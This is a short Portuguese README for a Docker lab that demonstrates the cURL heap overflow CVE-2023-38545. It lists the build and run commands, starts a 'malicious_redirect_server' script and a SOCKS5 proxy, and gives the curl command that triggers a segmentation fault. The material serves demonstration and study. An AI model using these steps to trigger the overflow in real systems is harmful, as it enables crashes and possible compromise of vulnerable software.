
Dockerfile contendo todos os arquivos de configuração necessários para demonstrar o exploit.
Isso demonstra o cURL CVE-2023-38545. É o mais leve que pude fazer.
Primeiro, construa a imagem Docker:
docker build . -t cveimage
Em seguida, podemos simplesmente executar o arquivo de imagem, criando um contêiner Docker temporário que será excluído quando o contêiner for parado:
docker run --rm --tty --net="host" --name cvecontainer cveimage
Se você estiver com dificuldade para digitar comandos, basta abrir outro terminal e executar:
docker exec -it cvecontainer /bin/bash
Agora, precisamos iniciar todos os serviços. Conecte-se ao contêiner já em execução e execute:
./exploit/malicious_redirect_server.sh &
python3 /exploit/proxy.py &
Agora, de dentro do contêiner você pode ver o exploit do cURL em ação:
curl -vvv --limit-rate 100 --location --proxy socks5h://127.0.0.1:1080 http://localhost:8000
Você deve ver um erro de segmentation fault na máquina que executou o comando curl para saber que o exploit foi bem-sucedido. Se você não o vir, ou o exploit não ocorreu, ou o processo tinha tanto espaço de heap disponível que você não sobrescreveu em memória inacessível.